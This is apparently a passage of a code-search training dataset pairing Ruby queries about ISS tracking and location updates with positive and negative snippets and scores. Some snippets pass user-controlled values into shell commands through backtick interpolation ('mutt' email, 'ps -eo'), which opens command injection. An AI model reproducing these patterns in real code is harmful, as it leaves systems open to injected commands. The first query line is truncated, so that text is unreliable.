"0.510408",
"0.5098817",
"0.50907457",
"0.50739056",
"0.5054823",
"0.5037144",
"0.50169027",
"0.5003943",
"0.4991423",
"0.4989172",
"0.49867308",
"0.4979082",
"0.4978306",
"0.494723",
"0.49442536",
"0.49374753",
"0.4922424",
"0.49197987",
"0.49197075",
"0.49147934",
"0.48987433",
"0.48985234",
"0.48881024",
"0.488676",
"0.48836672",
"0.48802006",
"0.4874033",
"0.4862093",
"0.4854476",
"0.4852817",
"0.4847845",
"0.48428744",
"0.48393276",
"0.48370624",
"0.4836739",
"0.48180264",
"0.4817125",
"0.48162094",
"0.48071247",
"0.4777407",
"0.47736254",
"0.4764914",
"0.47594944",
"0.47592685",
"0.47417015",
"0.47400185",
"0.47398552",
"0.4731214",
"0.47295478",
"0.4728835",
"0.47206318",
"0.47174284"
] | 0.75487447 | 0 |
def self.locate_iss location = HTTParty.get(' end def self.update_iss_location location = HTTParty.get(' iss = Spacecraft.find_or_create_by(name: 'ISS') iss.update(lat:location['iss_position']['latitude'], long: location['iss_position']['latitude']) end | def check_spacepeople
astros = HTTParty.get('http://api.open-notify.org/astros.json')
if astros
#remove previous spacepeople
self.spacepeople.destroy_all
#create spacepeople
astros['people'].each do |astro|
if astro['craft'] == self.apiname
Spaceperson.create(spacecraft_id:self.id,name:astro['name'])
end
end
#update crew integer
self.crew = astros['number'].to_i
self.save
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_location\n location = flickr.places.findByLatLon(lat: lat, lon: lon)\n location.size >= 1 ? @location = location.first['name'] : @location = \"Unidentifiable location\"\n end",
"def location\n fetch('sword_art_online.location')\n end",
"def locationLookup(currLoc) \n client = Weatherman::Client.new\n client.lookup_by_location(currLoc)\nend",
"def location\n fetch('hey_arnold.locations')\n end",
"def update_expert_location\n @exp = Expert.find(params[:expert_id])\n #@job = Job.find(params[:job_id])\n if @exp.update_attributes(:latitude => params[:lat], :longitude => params[:lon])\n render :json=> {:success => true, :lat => @exp.latitude, :lon => @exp.longitude}, :status=>200\n else\n render :json=> {:success => false}, :status=>204\n end \n end",
"def update!(**args)\n @access = args[:access] if args.key?(:access)\n @location_name = args[:location_name] if args.key?(:location_name)\n @place_id = args[:place_id] if args.key?(:place_id)\n end",
"def update!(**args)\n @access = args[:access] if args.key?(:access)\n @location_name = args[:location_name] if args.key?(:location_name)\n @place_id = args[:place_id] if args.key?(:place_id)\n end",
"def update_location\n suggestion = Suggestion.find(params[:id])\n if admin or suggestion.user == @current_user\n suggestion.lat = params[:lat]\n suggestion.lon = params[:lon]\n suggestion.save\n end\n render :text => suggestion.to_json\n end",
"def update!(**args)\n @location = args[:location] if args.key?(:location)\n end",
"def update!(**args)\n @location = args[:location] if args.key?(:location)\n end",
"def update!(**args)\n @location = args[:location] if args.key?(:location)\n end",
"def update\n @location = Location.find(params[:id])\n \n full_address = \"#{params[:location][:address]} #{params[:location][:city]}, #{params[:location][:state]}\"\n # transale address into lat/long\n lat, long = Geocoder.coordinates(full_address) \n response = get_place_report(params[:location], long, lat) \n @location.reference = response[\"reference\"] unless response[\"reference\"].blank?\n @location.general_type = get_general_type(params[:location][:types]) unless params[:location][:types].blank?\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to(@location, :notice => 'Location was successfully updated.') }\n format.xml { head :ok }\n else\n @pages = [{id: @location.id, name: @location.name}]\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @latitude = args[:latitude] if args.key?(:latitude)\n @longitude = args[:longitude] if args.key?(:longitude)\n end",
"def update!(**args)\n @latitude = args[:latitude] if args.key?(:latitude)\n @longitude = args[:longitude] if args.key?(:longitude)\n end",
"def update!(**args)\n @latitude = args[:latitude] if args.key?(:latitude)\n @longitude = args[:longitude] if args.key?(:longitude)\n end",
"def update!(**args)\n @latitude = args[:latitude] if args.key?(:latitude)\n @longitude = args[:longitude] if args.key?(:longitude)\n end",
"def update!(**args)\n @latitude = args[:latitude] if args.key?(:latitude)\n @longitude = args[:longitude] if args.key?(:longitude)\n end",
"def update!(**args)\n @latitude = args[:latitude] if args.key?(:latitude)\n @longitude = args[:longitude] if args.key?(:longitude)\n end",
"def update!(**args)\n @latitude = args[:latitude] if args.key?(:latitude)\n @longitude = args[:longitude] if args.key?(:longitude)\n end",
"def update!(**args)\n @latitude = args[:latitude] if args.key?(:latitude)\n @longitude = args[:longitude] if args.key?(:longitude)\n end",
"def update!(**args)\n @latitude = args[:latitude] if args.key?(:latitude)\n @longitude = args[:longitude] if args.key?(:longitude)\n end",
"def update!(**args)\n @latitude = args[:latitude] if args.key?(:latitude)\n @longitude = args[:longitude] if args.key?(:longitude)\n end",
"def update!(**args)\n @latitude = args[:latitude] if args.key?(:latitude)\n @longitude = args[:longitude] if args.key?(:longitude)\n end",
"def update!(**args)\n @latitude = args[:latitude] if args.key?(:latitude)\n @longitude = args[:longitude] if args.key?(:longitude)\n end",
"def update!(**args)\n @latitude = args[:latitude] if args.key?(:latitude)\n @longitude = args[:longitude] if args.key?(:longitude)\n end",
"def update_location(params)\n @client.put(\"#{path}/location\", nil, params, \"Content-Type\" => \"application/json\")\n end",
"def location\n \t#@ip = request.remote_id\n \t@ip = '118.113.226.34'\n \t@location = Rails.cache.read(@ip)\n end",
"def snpi\n if latlonra[:latitude]\n #Creates new location to be matched\n @location = Location.new({:latitude => latlonra[:latitude], :longitude => latlonra[:longitude], :name => '', :description => ''})\n #Runs Get SNPI from models/location.rb\n @locations = Location.get_snpi(@location,Location.all, latlonra[:radius])\n #Uses orinila parameter for @Locations_json\n @locations_json = @locations.to_json\n end\n end",
"def update!(**args)\n @lat_lng = args[:lat_lng] if args.key?(:lat_lng)\n @location_type = args[:location_type] if args.key?(:location_type)\n @postal_address = args[:postal_address] if args.key?(:postal_address)\n @radius_meters = args[:radius_meters] if args.key?(:radius_meters)\n end",
"def update!(**args)\n @lat = args[:lat] if args.key?(:lat)\n @lng = args[:lng] if args.key?(:lng)\n end",
"def update!(**args)\n @lat_lng = args[:lat_lng] if args.key?(:lat_lng)\n @location_type = args[:location_type] if args.key?(:location_type)\n @postal_address = args[:postal_address] if args.key?(:postal_address)\n @radius_meters = args[:radius_meters] if args.key?(:radius_meters)\n end",
"def update_location (new_lonlat)\n @survivor.update_attribute(:lonlat, new_lonlat) \n end",
"def update\n begin\n @position = Position.find(params[:id]);\n @updated_position = @@data_util.hash_data_to_upper_case(params[:position], ['description'])\n @updated_position[:lastupdateby] = session[:username]\n\n if @position.update_attributes(@updated_position)\n @@request_result[:success] = true\n @@request_result[:notice] =\"Position was successfully updated.\"\n else\n @@request_result[:errormsg] = @position.errors.full_messages[0]\n end\n rescue Exception => e\n @@request_result[:errormsg] = e.message\n end\n render json: @@request_result\n end",
"def update\n @location = Location.new\n @location.address = gym_params[:location]\n location = Location.limit(1).find_by_address(gym_params[:location])\n @location.save! if location.eql? nil\n location = Location.limit(1).find_by_address(gym_params[:location])\n\n respond_to do |format|\n if @gym.update(gym_params.reject!{ |k| k == \"location\"})\n @gym.location_id = location.id\n @gym.save!\n format.html { redirect_to @gym, notice: 'Gym was successfully updated.' }\n format.json { render :show, status: :ok, location: @gym }\n `echo \"Nome:#{@gym.name}\\n Gerente: #{@gym.manager.name}\\n Address:#{@gym.location.address}\" | mutt -s \"Gym was successfully updated.\" #{@gym.manager.email}`\n else\n format.html { render :edit }\n format.json { render json: @gym.errors, status: :unprocessable_entity }\n end\n end\n end",
"def location\n fetch('rick_and_morty.locations')\n end",
"def update_location\n if params.include?(:latitude) and params.include?(:longitude) and params.include?(:token)\n user_temp = {:latitude => params[:latitude], :longitude => params[:longitude], :available => true }\n user = User.find_by(:token => params[:token])\n if user.update(user_temp)\n success = true\n message = 'Update location successfully !'\n else\n success = false\n message = 'Cannot update data into table users'\n end\n else\n success = false\n message = 'Please check paramaters'\n end\n result = {:success => success, :message => message}\n render json: result\n end",
"def update!(**args)\n @address = args[:address] if args.key?(:address)\n @address_synonyms = args[:address_synonyms] if args.key?(:address_synonyms)\n @area_km2 = args[:area_km2] if args.key?(:area_km2)\n @bound = args[:bound] if args.key?(:bound)\n @country_code = args[:country_code] if args.key?(:country_code)\n @location = args[:location] if args.key?(:location)\n @name = args[:name] if args.key?(:name)\n @oyster_id = args[:oyster_id] if args.key?(:oyster_id)\n @stable_integer_country_code = args[:stable_integer_country_code] if args.key?(:stable_integer_country_code)\n @timezone = args[:timezone] if args.key?(:timezone)\n @wp_location = args[:wp_location] if args.key?(:wp_location)\n end",
"def update!(**args)\n @lat_e7 = args[:lat_e7] if args.key?(:lat_e7)\n @lng_e7 = args[:lng_e7] if args.key?(:lng_e7)\n @metadata = args[:metadata] if args.key?(:metadata)\n @temporary_data = args[:temporary_data] if args.key?(:temporary_data)\n end",
"def update!(**args)\n @address = args[:address] if args.key?(:address)\n @brick_and_mortar_strength = args[:brick_and_mortar_strength] if args.key?(:brick_and_mortar_strength)\n @cluster = args[:cluster] if args.key?(:cluster)\n @docid = args[:docid] if args.key?(:docid)\n @geotopicality = args[:geotopicality] if args.key?(:geotopicality)\n @hours = args[:hours] if args.key?(:hours)\n @is_large_chain = args[:is_large_chain] if args.key?(:is_large_chain)\n @is_large_localwwwinfo = args[:is_large_localwwwinfo] if args.key?(:is_large_localwwwinfo)\n @phone = args[:phone] if args.key?(:phone)\n @site_siblings = args[:site_siblings] if args.key?(:site_siblings)\n @url = args[:url] if args.key?(:url)\n @wrapptor_item = args[:wrapptor_item] if args.key?(:wrapptor_item)\n end",
"def update!(**args)\n @feature_id = args[:feature_id] if args.key?(:feature_id)\n @lat_lng = args[:lat_lng] if args.key?(:lat_lng)\n @location_name = args[:location_name] if args.key?(:location_name)\n @mid = args[:mid] if args.key?(:mid)\n @timezone = args[:timezone] if args.key?(:timezone)\n end",
"def set_slocation\n @slocation = Slocation.find(params[:id])\n end",
"def update!(**args)\n @altitude_meters = args[:altitude_meters] if args.key?(:altitude_meters)\n @country_code = args[:country_code] if args.key?(:country_code)\n @from_gps = args[:from_gps] if args.key?(:from_gps)\n @lat = args[:lat] if args.key?(:lat)\n @lat_error_bound = args[:lat_error_bound] if args.key?(:lat_error_bound)\n @lon = args[:lon] if args.key?(:lon)\n @lon_error_bound = args[:lon_error_bound] if args.key?(:lon_error_bound)\n end",
"def set_gps_location!\n\n end",
"def location\n fetch('simpsons.locations')\n end",
"def update\n respond_to do |format|\n if @itinerary.update(itinerary_params)\n format.html { redirect_to @itinerary, notice: 'Itinerary was successfully updated.' }\n format.json { render :show, status: :ok, location: @itinerary }\n\n if params[:origin]\n @itinerary.locations[0].address = params[:origin]\n @itinerary.locations[0].get_coords\n end\n if params[:destination]\n @itinerary.locations[0].address = params[:destination]\n @itinerary.locations[0].get_coords\n end\n\n else\n format.html { render :edit }\n format.json { render json: @itinerary.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @lat_lng = args[:lat_lng] if args.key?(:lat_lng)\n @location_type = args[:location_type] if args.key?(:location_type)\n @postal_address = args[:postal_address] if args.key?(:postal_address)\n @radius_miles = args[:radius_miles] if args.key?(:radius_miles)\n end",
"def update\n if spot = SkateSpot.where(:id => params[:id]).first and info = parse_input(params)\n if info.has_key?(:alt_names)\n info[:alt_names].map! { |n| SpotName.find_or_create_by(:name => n, :spot => spot) }\n end\n\n if info[:name]\n info[:name] = SpotName.find_or_create_by(:name => info[:name], :spot => spot) \n end\n\n if info.has_key?(:obstacles)\n info[:obstacles].map! { |o|\n Obstacle.find_or_create_by(:type => ObstacleType.where(:name => o['type']).first, :geometry => o['geometry'], :spot => spot)\n }\n end\n\n render :json => { :status => (spot.update(info) == true ? :success : :unprocessable_entity) }\n else\n render :json => { :status => :unprocessable_entity }\n end\n\n rescue ActiveRecord::RecordNotSaved\n render :json => { :status => :unprocessable_entity }\n end",
"def update!(**args)\n @lat = args[:lat] if args.key?(:lat)\n @lng = args[:lng] if args.key?(:lng)\n @name = args[:name] if args.key?(:name)\n @span = args[:span] if args.key?(:span)\n end",
"def set_geolocation\n @location = Geolocation.find(params[:id]) \n end",
"def update_location(location={})\n\t\tclient.update(location)\n\tend",
"def gps_api_fetch(latitude, longitude)\n \n HTTParty.get(\"https://api.openweathermap.org/data/2.5/weather?lat=#{latitude}&lon=#{longitude}&APPID=#{APPID}&units=imperial\")\n end",
"def update\n respond_to do |format|\n if @patient.update(patient_params)\n @patient.positions.first.update(\n latitude: Geocoder.coordinates(@patient.address)[0] ,\n longitude: Geocoder.coordinates(@patient.address)[1])\n format.html { redirect_to @patient, notice: 'Patient was successfully updated.' }\n format.json { render :show, status: :ok, location: @patient }\n else\n format.html { render :edit }\n format.json { render json: @patient.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @google_url = args[:google_url] if args.key?(:google_url)\n @lat_lng = args[:lat_lng] if args.key?(:lat_lng)\n @metadata = args[:metadata] if args.key?(:metadata)\n @opening_hours = args[:opening_hours] if args.key?(:opening_hours)\n @primary_type_name = args[:primary_type_name] if args.key?(:primary_type_name)\n end",
"def get_location(location)\n client = Weatherman::Client.new\n client.lookup_by_location(location)\nend",
"def update!(**args)\n @address = args[:address] if args.key?(:address)\n @component_scores = args[:component_scores] if args.key?(:component_scores)\n @confidence = args[:confidence] if args.key?(:confidence)\n @dense_city = args[:dense_city] if args.key?(:dense_city)\n @establishment_type = args[:establishment_type] if args.key?(:establishment_type)\n @lat_e7 = args[:lat_e7] if args.key?(:lat_e7)\n @lng_e7 = args[:lng_e7] if args.key?(:lng_e7)\n @location_name = args[:location_name] if args.key?(:location_name)\n @normalized_score = args[:normalized_score] if args.key?(:normalized_score)\n @oyster_id = args[:oyster_id] if args.key?(:oyster_id)\n @oyster_type = args[:oyster_type] if args.key?(:oyster_type)\n @sum_contained_poi_normalized_scores = args[:sum_contained_poi_normalized_scores] if args.key?(:sum_contained_poi_normalized_scores)\n end",
"def set_ms_location\n @ms_location = MsLocation.find(params[:id])\n end",
"def update_my_location\n current_user.update(latitude: params[:latitude], longitude: params[:longitude])\n end",
"def update!(**args)\n @locations = args[:locations] if args.key?(:locations)\n end",
"def update!(**args)\n @locations = args[:locations] if args.key?(:locations)\n end",
"def update_location_service\n if params.include?(:latitude) and params.include?(:longitude) and params.include?(:token)\n user_temp = {:latitude => params[:latitude], :longitude => params[:longitude]}\n user = User.find_by(:token => params[:token])\n if user.update(user_temp)\n success = true\n message = 'Update location successfully !'\n else\n success = false\n message = 'Cannot update data into table users'\n end\n else\n success = false\n message = 'Please check paramaters'\n end\n result = {:success => success, :message => message}\n render json: result\n end",
"def update!(**args)\n @locations = args[:locations] if args.key?(:locations)\n end",
"def location\n fetch('harry_potter.locations')\n end",
"def update!(**args)\n @lat = args[:lat] if args.key?(:lat)\n @lon = args[:lon] if args.key?(:lon)\n @radius = args[:radius] if args.key?(:radius)\n end",
"def update\n @location = Location.find(params[:id])\n \n @previousMap = Location.WhereAmI(@location.region_id)\n\n #binding.pry\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @previousMap, notice: 'Location was successfully updated.' }\n format.json { respond_with_bip(@location) }\n else\n format.html { render action: \"edit\" }\n format.json { respond_with_bip(@location) }\n end\n end\n end",
"def update\n location = Location.find_or_create_by({\n postcode_address: params[:location][:postcode_address],\n street_address: params[:location][:street_address]\n })\n @gig.location = location\n respond_to do |format|\n if @gig.update(gig_params)\n format.html { redirect_to @gig, notice: 'Gig was successfully updated.' }\n format.json { render :show, status: :ok, location: @gig }\n else\n format.html { render :edit }\n format.json { render json: @gig.errors, status: :unprocessable_entity }\n end\n\n end\n end",
"def update!(**args)\n @location_name = args[:location_name] if args.key?(:location_name)\n @time_zone = args[:time_zone] if args.key?(:time_zone)\n @top_direction_sources = args[:top_direction_sources] if args.key?(:top_direction_sources)\n end",
"def update!(**args)\n @location_name = args[:location_name] if args.key?(:location_name)\n @time_zone = args[:time_zone] if args.key?(:time_zone)\n @top_direction_sources = args[:top_direction_sources] if args.key?(:top_direction_sources)\n end",
"def update!(**args)\n @basic_location = args[:basic_location] if args.key?(:basic_location)\n @compound_location = args[:compound_location] if args.key?(:compound_location)\n @contact_location = args[:contact_location] if args.key?(:contact_location)\n @is_merged = args[:is_merged] if args.key?(:is_merged)\n @location_constraint = args[:location_constraint] if args.key?(:location_constraint)\n @num_bytes = args[:num_bytes] if args.key?(:num_bytes)\n @resolved_local_result = args[:resolved_local_result] if args.key?(:resolved_local_result)\n @start_byte = args[:start_byte] if args.key?(:start_byte)\n @text = args[:text] if args.key?(:text)\n @user_specified_location = args[:user_specified_location] if args.key?(:user_specified_location)\n @vicinity_location = args[:vicinity_location] if args.key?(:vicinity_location)\n end",
"def update!(**args)\n @location = args[:location] if args.key?(:location)\n @source_url = args[:source_url] if args.key?(:source_url)\n end",
"def update\n @rink = Rink.find(params[:id])\n\t\[email protected] = params[:latitude]\n\t\[email protected] = params[:longitude]\n\t\[email protected]\n\n respond_to do |format|\n if @rink.update_attributes(params[:rink])\n format.html { redirect_to(@rink, :notice => 'Rink was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @rink.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def location\n @location ||= Station.get(@attrs['LocationCode'])\n end",
"def update!(**args)\n @location_address = args[:location_address] if args.key?(:location_address)\n @location_name = args[:location_name] if args.key?(:location_name)\n end",
"def update\n\t\t# updating the surgery location attribute\n\t\tif @surgery_location.update(surgery_location_params)\n\t\t# response to the JSON\n\t\t\trender json: { success: true,message: \"Surgery Location Successfully Updated.\", response: SurgeryLocationSerializer.new(@surgery_location).as_json(root: false) },:status=>200\n\t else\n\t render :json=> { success: false, message: \"Surgery Location is not available\" },:status=> 404\n\t end\n\tend",
"def update\n flash[:notice] = t('scaffold.notice.updated', :item => SicossLocation.model_name.human) if @sicoss_location.update_attributes(params[:sicoss_location])\n respond_with(@sicoss_location, :location => sicoss_locations_path)\n end",
"def update!(**args)\n @custom_location = args[:custom_location] if args.key?(:custom_location)\n @home_location = args[:home_location] if args.key?(:home_location)\n @office_location = args[:office_location] if args.key?(:office_location)\n end",
"def store_location!; end",
"def update!(**args)\n @location = args[:location] if args.key?(:location)\n @restriction = args[:restriction] if args.key?(:restriction)\n end",
"def set_injurylocation\n @injurylocation = Injurylocation.find(params[:id])\n end",
"def update_location(params)\n country_msgid = params[:listing][:country]\n country = Country.get_by_short(params[:listing][:country_code])\n\n if country\n country_msgid = country.msgid\n end\n\n loc = [params[:listing][:lat].to_f, params[:listing][:lng].to_f]\n self.update_attributes(\n lat: params[:listing][:lat],\n lng: params[:listing][:lng],\n street: params[:listing][:street],\n postal_town: params[:listing][:postal_town],\n postal_code: params[:listing][:postal_code],\n state: params[:listing][:state],\n state_long: params[:listing][:state_long],\n country: country_msgid,\n country_code: params[:listing][:country_code],\n google_formatted_address: params[:listing][:google_formatted_address],\n location: loc,\n location_reversed: loc.reverse\n )\n end",
"def update\n raise NoMapFound, \"your have to load a gps track first\" unless funkygps.map\n #show it on the PaPiRus display\n @display.show(data:to_bit_stream, command: 'F')\n end",
"def update_geocodes (country = '')\n place = Geocoder.search(\"#{self.name}, #{country}\").first\n sleep(0.3)\n unless place.nil?\n self.lat = place.geometry['location']['lat']\n self.lon = place.geometry['location']['lng']\n return self.save\n end\n false\n end",
"def update!(**args)\n @category_info = args[:category_info] if args.key?(:category_info)\n @chain_info = args[:chain_info] if args.key?(:chain_info)\n @custom_location_type = args[:custom_location_type] if args.key?(:custom_location_type)\n @display_address = args[:display_address] if args.key?(:display_address)\n @geo_feature_id = args[:geo_feature_id] if args.key?(:geo_feature_id)\n @lat = args[:lat] if args.key?(:lat)\n @lng = args[:lng] if args.key?(:lng)\n @location_type = args[:location_type] if args.key?(:location_type)\n @name = args[:name] if args.key?(:name)\n @personal_location_metadata = args[:personal_location_metadata] if args.key?(:personal_location_metadata)\n @tts_address = args[:tts_address] if args.key?(:tts_address)\n end",
"def update\n @space_station = SpaceStation.find(params[:id])\n\n if @space_station.update(space_station_params)\n head :no_content\n else\n render json: @space_station.errors, status: :unprocessable_entity\n end\n end",
"def update\n render json: Location.update(params[\"id\"], params[\"location\"])\n end",
"def update_location(latitude, longitude)\n self.update_columns(latitude: latitude, longitude: longitude)\n end",
"def update!(**args)\n @lat_deg = args[:lat_deg] if args.key?(:lat_deg)\n @long_deg = args[:long_deg] if args.key?(:long_deg)\n end",
"def set_location(map_id, x, y)\n @map_id = map_id\n @x = x\n @y = y\n refresh\n end",
"def update!(**args)\n @ad_words_location_extensions = args[:ad_words_location_extensions] if args.key?(:ad_words_location_extensions)\n @additional_categories = args[:additional_categories] if args.key?(:additional_categories)\n @additional_phones = args[:additional_phones] if args.key?(:additional_phones)\n @address = args[:address] if args.key?(:address)\n @attributes = args[:attributes] if args.key?(:attributes)\n @labels = args[:labels] if args.key?(:labels)\n @language_code = args[:language_code] if args.key?(:language_code)\n @latlng = args[:latlng] if args.key?(:latlng)\n @location_key = args[:location_key] if args.key?(:location_key)\n @location_name = args[:location_name] if args.key?(:location_name)\n @location_state = args[:location_state] if args.key?(:location_state)\n @metadata = args[:metadata] if args.key?(:metadata)\n @name = args[:name] if args.key?(:name)\n @open_info = args[:open_info] if args.key?(:open_info)\n @price_lists = args[:price_lists] if args.key?(:price_lists)\n @primary_category = args[:primary_category] if args.key?(:primary_category)\n @primary_phone = args[:primary_phone] if args.key?(:primary_phone)\n @regular_hours = args[:regular_hours] if args.key?(:regular_hours)\n @service_area = args[:service_area] if args.key?(:service_area)\n @special_hours = args[:special_hours] if args.key?(:special_hours)\n @store_code = args[:store_code] if args.key?(:store_code)\n @website_url = args[:website_url] if args.key?(:website_url)\n end",
"def update\n @hotspot = Hotspot.find(params[:id])\n @hotspot.latitude = params[:latitude]\n @hotspot.longitude = params[:longitude]\n @hotspot.save!\n respond_to do |format|\n format.html {redirect_to :controller=>:tours,:action=>:show,:tour_id=>@hotspot.tour_id}\n end\n end",
"def update!(**args)\n @feature_id = args[:feature_id] if args.key?(:feature_id)\n @geocoding_address = args[:geocoding_address] if args.key?(:geocoding_address)\n @kg_mid = args[:kg_mid] if args.key?(:kg_mid)\n @position = args[:position] if args.key?(:position)\n @rect = args[:rect] if args.key?(:rect)\n end",
"def update\n @loc = current_user.locs.find(params[:id])\n\n respond_to do |format|\n if @loc.update_attributes(params[:loc])\n format.html { redirect_to @loc, notice: 'Loc was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @loc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @news_item = NewsItem.find(params[:id])\n params[:news_item][:location] = made_location\n respond_to do |format|\n if @news_item.update_attributes(params[:news_item])\n save_location_user_settings @news_item,params[:news_item]\n flash[:notice] = 'News Item was successfully updated.'\n format.html { redirect_to(@news_item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @news_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n \n #abort\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to :back, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n set_site_entities @location\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @distance_in_miles = args[:distance_in_miles] if args.key?(:distance_in_miles)\n @is_telecommute = args[:is_telecommute] if args.key?(:is_telecommute)\n @lat_lng = args[:lat_lng] if args.key?(:lat_lng)\n @name = args[:name] if args.key?(:name)\n @region_code = args[:region_code] if args.key?(:region_code)\n end",
"def update!(**args)\n @distance_in_miles = args[:distance_in_miles] if args.key?(:distance_in_miles)\n @is_telecommute = args[:is_telecommute] if args.key?(:is_telecommute)\n @lat_lng = args[:lat_lng] if args.key?(:lat_lng)\n @name = args[:name] if args.key?(:name)\n @region_code = args[:region_code] if args.key?(:region_code)\n end",
"def geolocate \n Zoogle.graveyard_locator(self.graveyard)\n \"#{loc[:latitude]}, #{loc[:longitude]}\"\n end",
"def update!(**args)\n @address_components = args[:address_components] if args.key?(:address_components)\n @adr_format_address = args[:adr_format_address] if args.key?(:adr_format_address)\n @attributions = args[:attributions] if args.key?(:attributions)\n @business_status = args[:business_status] if args.key?(:business_status)\n @curbside_pickup = args[:curbside_pickup] if args.key?(:curbside_pickup)\n @current_opening_hours = args[:current_opening_hours] if args.key?(:current_opening_hours)\n @current_secondary_opening_hours = args[:current_secondary_opening_hours] if args.key?(:current_secondary_opening_hours)\n @delivery = args[:delivery] if args.key?(:delivery)\n @dine_in = args[:dine_in] if args.key?(:dine_in)\n @display_name = args[:display_name] if args.key?(:display_name)\n @editorial_summary = args[:editorial_summary] if args.key?(:editorial_summary)\n @formatted_address = args[:formatted_address] if args.key?(:formatted_address)\n @google_maps_uri = args[:google_maps_uri] if args.key?(:google_maps_uri)\n @icon_background_color = args[:icon_background_color] if args.key?(:icon_background_color)\n @icon_mask_base_uri = args[:icon_mask_base_uri] if args.key?(:icon_mask_base_uri)\n @id = args[:id] if args.key?(:id)\n @international_phone_number = args[:international_phone_number] if args.key?(:international_phone_number)\n @location = args[:location] if args.key?(:location)\n @name = args[:name] if args.key?(:name)\n @national_phone_number = args[:national_phone_number] if args.key?(:national_phone_number)\n @opening_hours = args[:opening_hours] if args.key?(:opening_hours)\n @plus_code = args[:plus_code] if args.key?(:plus_code)\n @price_level = args[:price_level] if args.key?(:price_level)\n @rating = args[:rating] if args.key?(:rating)\n @reservable = args[:reservable] if args.key?(:reservable)\n @reviews = args[:reviews] if args.key?(:reviews)\n @secondary_opening_hours = args[:secondary_opening_hours] if args.key?(:secondary_opening_hours)\n @serves_beer = args[:serves_beer] if args.key?(:serves_beer)\n @serves_breakfast = args[:serves_breakfast] if args.key?(:serves_breakfast)\n @serves_brunch = args[:serves_brunch] if args.key?(:serves_brunch)\n @serves_dinner = args[:serves_dinner] if args.key?(:serves_dinner)\n @serves_lunch = args[:serves_lunch] if args.key?(:serves_lunch)\n @serves_vegetarian_food = args[:serves_vegetarian_food] if args.key?(:serves_vegetarian_food)\n @serves_wine = args[:serves_wine] if args.key?(:serves_wine)\n @takeout = args[:takeout] if args.key?(:takeout)\n @types = args[:types] if args.key?(:types)\n @user_rating_count = args[:user_rating_count] if args.key?(:user_rating_count)\n @utc_offset_minutes = args[:utc_offset_minutes] if args.key?(:utc_offset_minutes)\n @viewport = args[:viewport] if args.key?(:viewport)\n @website_uri = args[:website_uri] if args.key?(:website_uri)\n @wheelchair_accessible_entrance = args[:wheelchair_accessible_entrance] if args.key?(:wheelchair_accessible_entrance)\n end",
"def glider_position(glider)\n # query position for the past 24 hrs, grab latest position\n time_start = (DateTime.now.to_time.utc-(60*60*24)).strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n data = fetch_data(\"basic#{glider}\",\">=#{time_start}\")\n position = {:lat => data['table']['rows'][1][0], :long => data['table']['rows'][1][1], :time => data['table']['rows'][1][2]}\n return position\nend",
"def set_location\n # byebug\n @location = Location.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @need.update(need_params)\n # Add lat and lng to need\n Workers::Coords.new.async.perform(@need.id)\n format.html { redirect_to root_path, notice: 'Need was successfully updated.' }\n format.json { render :show, status: :ok, location: @need }\n else\n format.html { render :edit }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_data_entry\n @location = Location.find(params[:id])\n end"
] | [
"0.6029923",
"0.60228974",
"0.6001954",
"0.58900857",
"0.58715767",
"0.58423007",
"0.58423007",
"0.58287287",
"0.5827817",
"0.5827817",
"0.5827817",
"0.58257616",
"0.58185494",
"0.58185494",
"0.58185494",
"0.58185494",
"0.58185494",
"0.58185494",
"0.58185494",
"0.58185494",
"0.58185494",
"0.58185494",
"0.58185494",
"0.58185494",
"0.58185494",
"0.5818226",
"0.5805219",
"0.5802823",
"0.57988137",
"0.57986265",
"0.57982534",
"0.57921284",
"0.57787573",
"0.5775737",
"0.57631576",
"0.576238",
"0.57525903",
"0.5742459",
"0.57395697",
"0.5734985",
"0.5731783",
"0.5729566",
"0.5727288",
"0.572691",
"0.57247597",
"0.5720972",
"0.57168496",
"0.57086927",
"0.5693437",
"0.569196",
"0.56884086",
"0.5687007",
"0.5677934",
"0.5664293",
"0.5662611",
"0.5657012",
"0.56473786",
"0.56405294",
"0.56405294",
"0.5639671",
"0.56392473",
"0.5633873",
"0.5631274",
"0.5618375",
"0.56143034",
"0.5612593",
"0.56124777",
"0.56117165",
"0.56062585",
"0.5604389",
"0.5600991",
"0.5596444",
"0.55946255",
"0.5588861",
"0.5583053",
"0.55822426",
"0.5582082",
"0.55754775",
"0.5571902",
"0.5562937",
"0.5552488",
"0.5544543",
"0.55407494",
"0.5539939",
"0.5530833",
"0.5529071",
"0.5527181",
"0.551836",
"0.5506525",
"0.55057263",
"0.55042386",
"0.5503744",
"0.550247",
"0.5501496",
"0.5501496",
"0.54951155",
"0.5494395",
"0.54919255",
"0.54893833",
"0.5484884",
"0.5484388"
] | 0.0 | -1 |
Note if we wanted then we can get bytes read and bytes written by process from looking at the /proc/xxx/stat etc Get OS paramter in terms of process id | def param_from_pid( param )
tuples = {}
`ps -eo pid,#{param}`.split("\n").each_with_index() do |row, index|
next unless index > 0
cols = row.split(' ')
tuples[cols[0]] = cols[1]
end
tuples
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
